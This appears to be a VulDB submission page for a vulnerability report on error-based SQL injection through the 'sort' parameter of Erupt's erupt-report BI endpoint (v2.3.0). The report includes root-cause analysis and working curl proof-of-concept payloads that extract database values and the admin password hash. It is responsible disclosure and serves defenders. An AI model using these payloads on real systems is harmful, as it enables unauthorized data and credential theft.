| 标题 | erupts Erupt (erupt-report module, open-sourced in 2.1.0, formerly the commercial erupt-BI) master `v2.3.0` (source snapshot 2026-10-03; self-built `erupt-sample-2.3.0`, Spring Boot 3.5.16 / Java 17, default H2); the `ReportService.queryBiData` concatenat |
|---|
| 描述 | Error-based SQL injection via the sort parameter of the Erupt erupt-report BI data endpoint
Vendor: erupts
Affected versions: master `v2.3.0` (source snapshot 2026-10-03; self-built `erupt-sample-2.3.0`, Spring Boot 3.5.16 / Java 17, default H2); the `ReportService.queryBiData` concatenation described below is the mechanism to review on every version shipping erupt-report
Vulnerability class: SQL injection, ORDER BY error-based (CWE-89)
Preconditions: An account whose role includes the report menu (`@EruptRouter(VerifyType.MENU, authIndex=2)` on the endpoint). Proven at runtime (2026-10-06) with a non-admin account whose only menu is the single BI report (menu grant built through the product's own role API) — see proof-of-concept step 5; the original proof used the seeded `erupt` account. At least one existing BI report (admin-configured `sql_statement` — the normal state of the feature) is required.
Any logged-in user whose role can open a BI report can make the server run SQL of their own choosing and read database values back inside the error messages the server returns.
Data flow: query parameter `sort` at `POST /erupt-api/bi/data/{code}` (`EruptReportController.java:121-140`) → `ReportService.queryBiData` `String.format("select * from (%s) _t order by %s", sqlStatement, sort)` (`ReportService.java:115`) → `getLimitSql:79-89` → `DBTypeEnum.$SORT` dialect template → `NamedParameterJdbcTemplate.query` as raw SQL text.
### Affected interfaces
| Interface |
|---|
| POST /erupt-api/bi/data/{code}?index=1&size=10&sort=\<payload\>&direction=true |
Primary route detail:
```
POST /erupt-api/bi/data/cv4bi?index=1&size=10&sort=<injection>&direction=true
Headers: token: <account token holding the report menu>
erupt: <Bi code>
```
The client-supplied `sort` value is appended raw into
`select * from (<admin sql>) _t order by <sort>` and executed, with no validation, allowlist or
escaping anywhere on the chain. The sort key is data — a column name of the report's result set,
not SQL: the product promises to order rows, never to evaluate caller SQL. Conversion errors echo
attacker-directed database content back to the caller (a `cast` of a concatenated column value
returns the value inside the error message), giving a full error-based extraction oracle over the
platform database.
### Root cause
1. **Source:** `sort` (and `direction`) are client request parameters of the BI data endpoint (`EruptReportController.java:121-140`); only the strings `" asc"`/`" desc"` are appended for direction.
2. **Sink:** `ReportService.queryBiData` (`erupt-report/.../service/ReportService.java:115`): `String.format("select * from (%s) _t order by %s", sqlStatement, sort)` → `getLimitSql:79-89` → `DBTypeEnum.$SORT` dialect template → `NamedParameterJdbcTemplate.query` as raw SQL text. No validation, allowlist or escaping of `sort` anywhere on the chain.
3. **Trust boundary:** the report `sqlStatement` itself is admin-configured and by-design trusted; the injected `sort` is the user-controlled segment — a parameter meant to name a column of the report's result set that instead escapes into arbitrary SQL expression evaluation.
4. **Missing guard:** the core framework's JPA sorting path applies a strict-identifier guard (`EruptJpaUtils.legalPath`, applied to sorts and unregistered condition keys on the `erupt-data-jpa` path); the erupt-report module's raw-JDBC ORDER BY concatenation never received the equivalent guard. Unlike the JPA path there is not even a whitespace/token guard here — full SQL with spaces and UNION is usable.
Baseline: erupts/erupt master `v2.3.0` (source snapshot 2026-10-03), self-built `erupt-sample-2.3.0` self-hosted on `127.0.0.1:8081`, default H2 (file database, user `sa`); a BI report row `cv4bi` with `sql_statement = SELECT id, account FROM e_upms_user` created by direct H2 insert (the report row is admin-configured data, the normal precondition of the feature).
**1. Login (seeded account, report-menu holder):**
```sh
$ curl -s -X POST 'http://127.0.0.1:8081/erupt-api/login' -H 'Content-Type: application/json' \
-d '{"account":"erupt","pwd":"V2xoS01XTklVVDA9"}' # pwd = triple-base64 of 'erupt' -> 22-char token
```
Requests carry `token: <token>` plus `erupt: cv4bi` (the menu-permission header binds to the Bi code).
**2. Injected expression executes in ORDER BY:**
```sh
$ curl -s -X POST 'http://127.0.0.1:8081/erupt-api/bi/data/cv4bi?index=1&size=10&sort=cast(%27x%27%20as%20int)&direction=true' -H "token: $TOKEN" -H "erupt: cv4bi"
# -> HTTP 500: Data conversion error casting 'x'
```
**3. Database value echoed to the caller (extraction proof):**
```sh
$ curl -s -X POST 'http://127.0.0.1:8081/erupt-api/bi/data/cv4bi?index=1&size=10&sort=(select%20cast(%27cv4-%27%7C%7Caccount%20as%20int)%20from%20e_upms_user%20limit%201)&direction=true' -H "token: $TOKEN" -H "erupt: cv4bi"
# -> HTTP 500: Data conversion error converting "cv4-erupt"
```
The database value (`account` = `erupt`) was concatenated into the cast and its content returned in
the error message. A bit-for-bit conditional oracle also works:
`sort=(case when (select ascii(substring(password,1,1)) from e_upms_user where account='erupt')>101 then 1 else 2 end)`
gives a 200/500 differential.
**4. Negative control:** the benign request `POST /erupt-api/bi/data/cv4bi?index=1&size=10&sort=account&direction=true` returns HTTP 200 with rows ordered — the endpoint works normally for a real column name, isolating the injected payloads (not the endpoint itself and not the report SQL) as the cause of the 500s and the echoed values.
**5. Low-privilege reproduction (separate self-hosted instance on `127.0.0.1:19011`):** the entire setup was driven through the product's own API — the seeded admin published the report as a menu (`POST /erupt-api/data/Bi/operator/...` → menu id 284, `{code=cv4bi, type=bi}`), created role `cv4low` whose only menu is that report, and created non-admin account `cv4low` (`isAdmin=false`, roles=`[cv4low]`); after login, `GET /erupt-api/menu` returns exactly the one report menu. Every request below carries `cv4low`'s token alone:
```sh
$ curl -s -X POST 'http://127.0.0.1:19011/erupt-api/bi/data/cv4bi?index=1&size=10&sort=(select%20cast(%27cv4-%27%7C%7Caccount%20as%20int)%20from%20e_upms_user%20limit%201)&direction=true' -H "token: $CV4LOW" -H "erupt: cv4bi"
# -> HTTP 500: Data conversion error converting "cv4-cv4low" (database value echoed under the non-admin token)
```
A blind predictor also worked under the same token:
`sort=(select 1/(ascii(substring(password,1,1))-N) from e_upms_user where account='erupt')`
returns 500 only at `N=52`, and `chr(52)='4'` matches the stored admin password hash prefix
(`4fa96e...`, confirmed by reading the H2 database directly) — the first character of the admin
password hash extracted by an account whose only capability is viewing one BI report.
Role-separation controls with `cv4low`'s token: `POST /erupt-api/data/table/EruptUser` → `{"status":403,"error":"Forbidden"}` (the same call with the admin token → 200); benign `sort=account` → 200 with ordered rows.
All testing was performed against a self-hosted instance on the reporter's own host. No third-party system, production instance or customer data was involved.
- **Vendor contact**: GitHub Private Vulnerability Reporting - erupts/erupt
- **Status**: vendor notified 2026-10-06 through GitHub Private Vulnerability Reporting; private report https://github.com/erupts/erupt/security/advisories/GHSA-6mch-5577-fv4x; not publicly disclosed; no CVE assigned
- **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally. |
|---|
| 来源 | ⚠️ https://github.com/erupts/erupt |
|---|
| 用户 | lucasg2g (UID 84737) |
|---|
| 提交 | 2026-10-15 07時28分 (24 日前) |
|---|
| 管理 | 2026-11-08 11時48分 (24 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 432808 [erupts erupt 直到 2.3.0 ReportService.java ReportService.queryBiData sort SQL注入] |
|---|
| 积分 | 19 |
|---|